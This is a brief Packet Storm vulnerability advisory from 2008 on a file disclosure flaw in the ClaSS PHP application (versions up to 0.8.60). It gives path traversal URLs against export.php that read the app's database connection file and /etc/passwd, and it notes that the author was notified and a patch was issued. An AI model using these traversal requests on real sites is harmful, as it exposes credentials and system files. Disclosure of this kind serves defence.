ClaSS 0.8.6.0 File Disclosure

2008-12-30T00:00:00
ID PACKETSTORM:73397
Type packetstorm
Reporter fuzion
Modified 2008-12-30T00:00:00

Description

                                        
                                            `ClaSS  
http://www.laex.org/class/  
  
  
- <=0.8.60 -  
magic_quotes_gpc = Off  
register_globals = On  
  
  
- File Disclosure/Download -  
http://site/Class/class/scripts/export.php?ftype=  
/../../path/to/Class/school.php  
/../../path/to/Class/dbh_connect.php  
/../../etc/passwd  
  
  
- Timeline -  
Author notified: Dec 19  
Patch 0.8.61: Dec 19  
  
  
- Seasons Greetings -  
- http://nukeit.org -  
  
`